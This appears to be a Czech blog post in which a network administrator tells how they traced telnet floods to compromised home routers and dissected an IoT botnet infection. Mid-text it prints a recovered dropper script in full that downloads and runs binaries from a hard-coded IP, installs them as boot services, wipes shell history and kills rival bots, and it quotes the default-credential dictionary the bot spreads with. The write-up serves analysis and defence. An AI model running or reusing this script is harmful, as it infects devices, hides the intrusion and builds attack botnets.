Za devatero branami a jedním špatně nakonfigurovaným firewallem kdesi v Praze žila Lenka. Měla svoje černý oči, široký úsměv, titul z obchodky a psa. Už část svého studentského života trávila jako specialistka na markéting a myslela si, že všechny Markéty, tisk, rádio, televize a taky moderní online média mají nějaký vyloženě analyzovatelný potenciál. Pak ji ale frančíza jednoho operátora poskytujícího její do té doby roztomilou ADSL přípojku nevýslovně vypekla takovým způsobem, že jí jednoho srpnového večera zhruba o půl čtvrté odpoledne konečně ruplo a rozhodla se velmi hrubě zaútočit na obranné systémy HIVE. Možná to bylo jinak.
Na správě hraničních systémů je vždycky nejhorší představa, že dojde k útoku. IDS/IPS jsou sice pěkná věc, ale vůbec nejlepší by bylo, kdyby jich nebylo vůbec třeba. V minulých sychravých dnech a nocích vyústila celá tahle paranoia ve velmi striktní nastavení firewallu a poskytování aplikace pouze našim dětem, protože nějací cizinci vysávající systém jsou nám jednoduše ukradení a musíme proti nim pokaždé razantně a nemilosrdně zakročit. Vyšší level je pak z principu zběsile zahazovat všechny nové pakety, které nezačínají SYNem, všechny poškozené pakety, všechny podezřelé a zdánlivě nesmyslné vánoční stromečky a taky mít nastavení maximálního limitu pro připojení k poštovním službám, které jsou v tuhle chvíli stejně zatím dost experimentální.
Jenže pak se stejně čas od času kdesi v authlogu objeví divoký záznam, že nakonec zkrátka došlo k útoku. K útoku z adresy uvnitř naší vlastní zóny. Tak wtf. Člověk si pak říká, co to koho mohlo vlastně napadnout, nebo co koho mohlo napadnout a zavirovat ho, že teď dělá někomu zombu zdarma. Vždycky to začíná tím, že si někdo lenivě nezabezpečí vlastní budníky a stane se tak snadným prostředníkem cizího útoku, který se pak nekontrolovatelně šíří sítí dál a dál.
Nedávalo to smysl. Nemilé tušení potvrdil i zpětný sken Lenčiny adresy a několika dalších. Se znepokojivým výsledkem, že se vždy jednalo o koncové domácí brány malých nebo roztříštěných lokálních providerů s veřejnou adresou a ne o běžná velká datová centra, z jakých takový útok nejčastěji probíhá. Společným jmenovatelem taky byly otevřené TCP porty 9000 a 1337, které hádající skripty nmapu nedovedly podle otisků nikam zařadit. Nedávalo to smysl. Může mít Lenka za lubem nějaké zlověstné číhátko, které nad branami zneužívá UPnP a dělá z ní loutku?
Byla doma, možná si dávala zrovna kafe a surfovala se svým firemním notebookem střídavě po seznamce a po stránkách o životním stylu a chatovala si spokojeně na Facebooku. Její ZyXEL seděl na poličce se stabilní 300Mbps wifkou na středním kanále, zabezpečenou standardním WPA2 s PSK o nějakém Cipískovi a vnější ADSL nabízelo relativně stabilní 6M/830k připojení. Tyhle domácí routery její řady mají defaultní schopnost se nechat spravovat jak z webu, tak z konzole přes SSH a telnetu, dokonce se nechají vzdáleně spravovat providerem přes TR-064 a při troše štěstí jim navenek běží i SNMP. Taková věc si o to vyloženě říká, takže proč se nepodívat, v čem je zakopaná ta příčina? Dostat se do toho přes pitomý heslo výrobce nebyla stejně žádná překážka.
Lenka sama vedla celkem pokojný život a nic nenasvědčovalo tomu, že by měla v povaze útočit. Její widle nevykazovaly kromě zvýšeného stahování reklam žádnou mimozemskou aktivitu a už se zdálo, že se všechen výzkum propadne do ztracena, když tu náhle… se její router rapidně prohnul pod návalem pěti stovek SYN_SENT čekajících spojení na zdánlivou sekvenci severoamerických adres pokoušejících se v tomto případě o nemalý telnet. Bylo vidět, že takové množství je vyloženě nežádoucí a není dostatek volných portů, protože než Lenka naštvaně notebook zavřela a odešla ven se psem, sestřelila nefunkční router a nadávala u toho. Po několika minutách ale naběhl znovu a všechno chvíli bylo jak má, dokud… se to nestalo zase, tentokráte ale za její nepřítomnosti a bez jakéhokoliv zařízení ve vnitřní síti. Cuže.
Hledat věci na dosti omezeném busyboxu, i když s rootem, je celkem nepohodlná taškařice. Visící spojení do nikam situaci moc neulehčovaly a naivní pokus zakázat odchozí toky na telnet přes iptables udělal ve finále celou situaci ještě horší. Po několika neúspěšných minutách nastavování velmi přísných pravidel pro celý IPv4 síťový stack došlo konečně k přerušení. Znát DD-WRT moc nestačí, takže nezbylo než se pořádně podívat na všechny procesy, které běžely právě tady. A už se zdálo, že skutečně něco nedává smysl, totiž kolik výrobců by čistého ./ spouštělo něco jako sexmips? Vida, o tomhle nebylo na Googlu ani zmínky. Po sestřelení přešel proces do zombie režimu, ale co je hlavní, všechna zahlcovací spojení umřela spolu s ním. Po dalším ohledání to celé začalo ten hledány smysl dávat.
#!/bin/sh wget http://199.180.128.150/sexmips; chmod +x sexmips; ./sexmips;rm sexmips wget http://199.180.128.150/sexmipsel; chmod +x sexmipsel; ./sexmipsel;rm sexmipsel wget http://199.180.128.150/sexarm4; chmod +x sexarm4; ./sexarm4;rm sexarm4 wget http://199.180.128.150/sexarm5; chmod +x sexarm5; ./sexarm5;rm sexarm5 wget http://199.180.128.150/sexarm6; chmod +x sexarm6; ./sexarm6;rm sexarm6 wget http://199.180.128.150/sexppc; chmod +x sexppc; ./sexppc;rm sexppc wget http://199.180.128.150/sexppc440; chmod +x sexppc440; ./sexppc440;rm sexppc440 wget http://199.180.128.150/sex15; chmod +x sex15; ./sex15;rm sex15 busybox wget -c http://199.180.128.150/sexmips; cp /bin/busybox ./; cat sexmips > busybox; rm sexmips; cp busybox sexmips; rm busybox; ./sexmips busybox wget -c http://199.180.128.150/sexmipsel; cp /bin/busybox ./; cat sexmipsel > busybox; rm sexmipsel; cp busybox sexmipsel; rm busybox; ./sexmipsel busybox wget -c http://199.180.128.150/sexarm4; cp /bin/busybox ./; cat sexarm4 > busybox; rm sexarm4; cp busybox sexarm4; rm busybox; ./sexarm4 busybox wget -c http://199.180.128.150/sexarm5; cp /bin/busybox ./; cat sexarm6 > busybox; rm sexarm5; cp busybox sexarm5; rm busybox; ./sexarm5 busybox wget -c http://199.180.128.150/sexarm6; cp /bin/busybox ./; cat sexarm6 > busybox; rm sexarm6; cp busybox sexarm6; rm busybox; ./sexarm6 busybox wget -c http://199.180.128.150/sexppc; cp /bin/busybox ./; cat sexppc > busybox; rm sexppc; cp busybox sexppc; rm busybox; ./sexppc busybox wget -c http://199.180.128.150/sexppc440; cp /bin/busybox ./; cat sexppc440 > busybox; rm sexppc440; cp busybox sexppc440; rm busybox; ./sexppc440 busybox wget -c http://199.180.128.150/sex15; cp /bin/busybox ./; cat > busybox; rm sex15; cp busybox sex15; rm busybox; ./sex15 #Secondary Wget For Service busybox wget http://199.180.128.150/sexmips busybox wget http://199.180.128.150/sexmipsel busybox wget http://199.180.128.150/sexppc busybox wget http://199.180.128.150/sexppc440 #Creating Service cp sexmips /bin/sexmips cp sexmipsel /bin/sexmipsel cp sexppc /bin/sexppc cp sexppc440 /bin/sexppc440 echo "/bin/sexmips" >> /etc/init.d/rcS echo "/bin/sexmips" >> /etc/rcS echo "/bin/sexmipsel" >> /etc/init.d/rcS echo "/bin/sexmipsel" >> /etc/rcS echo "/bin/sexppc" >> /etc/init.d/rcS echo "/bin/sexppc" >> /etc/rcS echo "/bin/sexppc440" >> /etc/init.d/rcS echo "/bin/sexppc440" >> /etc/rcS echo "/bin/sexmips" >> /etc/rcS.d/S97service echo "/bin/sexmips" >> /etc/rcS.d/S97service echo "/bin/sexppc" >> /etc/rcS.d/S97service echo "/bin/sexppc440" >> /etc/rcS.d/S97service chmod +x /etc/rcS.d/S97service rm -rf sexmips rm -rf sexmipsel rm -rf sexppc rm -rf sexppc440 #Covering Tracks rm -rf /home/root/.ash_history rm -rf .ash_history rm -rf /bin/.ash_history killall tail- rm -rf /tmp/tail- mkdir -p /tmp/tail- rm -rf /tmp/* rm -rf /var/run/* rm -rf anole.sh* rm -rf mug.sh* #Killing Other Losers killall mips killall arm killall mipsel killall sh4 killall ppc killall 10 killall 11 killall 12 killall 13 killall 14 killall 15 killall 16 killall 17 killall 18 killall 19
Nalezený skript z pevné adresy stahuje nějakou temnou agendu, spouští ji a maže po sobě stopy, ale co je daleko pozoruhodnější, že se jedná ve skutečnosti o masivně multiplatformní útok, který je neuvěřitelně mířen na MIPS, MIPSel, SuperH, amd64, ARM, i686, PowerPC, m68k a SPARC s běžícím Linuxem. Ale exploituje se jen shellshock.
.10: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped .11: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped .12: ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, not stripped .13: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped .14: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, not stripped .15: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped .16: ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, not stripped .17: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped .18: ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, not stripped .19: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, not stripped
Podle časových razítek to ale nebyla jediná čihošť, která se tam tak samovolně vytvořila. V dalším setu pro možnost zapisování do běžícího systému zaujal skrytý cíl .xs, možná snad jako xzs, jak minji říkal, kde kromě daleko větších binárek pro ARM, i686, MIPS a MIPSel ležely taky dva texťáky login2 a list2.
.xs/daemon.armv4l.mod: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped .xs/daemon.i686.mod: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped .xs/daemon.mips.mod: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped .xs/daemon.mipsel.mod: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
K velkému překvapení list2 obsahoval sekvenčně generovaný CSV seznam IP adres a cílových portů a login2 tu byl jakýmsi slovníkem pro root:root, admin:admin, ubnt:ubnt. A v tom to přišlo. Ono se to samo replikuje takhle pitomým způsobem? Po vyzkoušení hesla admin na účet admin už nebylo nejmenších pochyb. Možná se právě v tuhle chvíli stáváme svědky největšího útoku získávajícího kontrolu nad branami všech možných platforem (dokud je na nich Linux nebo možná i jen podpora pro ELF) a dosvědčuje to poněkud nejasná statistika posledních portů v síti Turris, kde TCP 9000 doslova vyskakuje nad strop a nabízí znepokojující zjištění, že tisíce domácích a malofiremních bran bylo napadeno čímsi, co po replikaci získalo využitím běžných chyb rootovská práva.
Jak zlověstně jednoduché to ve svém principu je, stejně zlověstně složité je to zastavit. Přitom by úplně stačilo těch několik tisíc nešťastníků přesvědčit, aby si změnili výchozí přístupová hesla. Jenže to by jim je nesměli nastavovat lhostejní provideři a pracovat na nich takové ty Lenky černooké, co sedávají u Facebooku a je jim osud všeho ostatního vlastně lhostejný. Minimálně jedna pozitivní zpráva z toho ale přece jen vyplývá, a to, že SSH samo o sobě je zatím stále v pořádku. Jen je dveře do něj potřeba pořádně zavírat.